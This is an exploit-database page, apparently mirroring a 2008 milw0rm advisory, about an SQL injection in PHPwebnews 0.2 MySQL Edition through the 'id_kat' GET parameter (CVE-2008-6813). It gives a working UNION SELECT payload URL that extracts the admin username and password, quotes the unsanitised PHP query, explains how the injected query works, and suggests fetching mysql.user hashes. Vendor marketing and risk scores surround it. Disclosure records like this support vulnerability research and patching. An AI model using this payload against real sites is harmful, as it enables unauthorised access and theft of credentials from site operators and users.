Lucene search
+L

PHPwebnews 0.2 MySQL Edition - 'id_kat' SQL Injection

🗓️ 03 Jul 2008 00:00:00Reported by stormType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

PHPwebnews 0.2 MySQL Edition - 'id_kat' SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-6813
3 Jul 200800:00
circl
cve
CVE
CVE-2008-6813
21 May 200918:00
cve
cvelist
Cvelist
CVE-2008-6813
21 May 200918:00
cvelist
euvd
EUVD
EUVD-2008-6773
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-6813
22 May 200911:52
nvd
prion
Prion
Sql injection
22 May 200911:52
prion
  ____       _   _       _ ___   __                        _  __
 / ___| ___ | \ | |_   _| | \ \ / /__  _   _ _ __ ___  ___| |/ _| ___  _ __ __ _
| |  _ / _ \|  \| | | | | | |\ V / _ \| | | | '__/ __|/ _ \ | |_ / _ \| '__/ _` |
| |_| | (_) | |\  | |_| | | | | | (_) | |_| | |  \__ \  __/ |  _| (_) | | | (_| |
 \____|\___/|_| \_|\__,_|_|_| |_|\___/ \__,_|_|  |___/\___|_|_|(_)___/|_|  \__, |
---------------------------------------------------------------------------|___/
Exploit found by sToRm


phpWebNews v0.2 MySQL Edition (Surat kabar/News Management Online)
SQL Injection


SQL Injection
-------------

index.php?id_kat=null+UNION+ALL+SELECT+1,2,3,4,concat(user,0x3a,passwd),6,7,8,9,10,11,12,13+FROM+user--


$id_kat=$_GET[id_kat];
$m_conn = db_connect();
if ((empty($id_kat))||($id_kat==''))
	$m_sql = "select * from berita where status='tampil' and order by tgl desc";
else
	$m_sql = "select * from berita where status='tampil' and kode_kategori=$id_kat and isi_berita like %'$m_txt'% order by tgl desc";


Here, we have a classic SQL MySQL injection.  The GET variable "id_kat" isn't sanitized before being passed to the query.  By injecting our string, the query becomes:

select * from berita where status='tampil' and kode_kategori=null UNION ALL SELECT 1,2,3,4,concat(user,0x3a,passwd),6,7,8,9,10,11,12,13 FROM user-- and isi_berita like %'$m_txt'% order by tgl desc

The comment renders the rest of the query to be useless.  We are effectively grabbing the first user from the table "user", which is the admin.  You can inject the other strings with server variables and attempt to fetch mysql.user hashes, if the conditions apply.

# milw0rm.com [2008-07-03]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.00987
40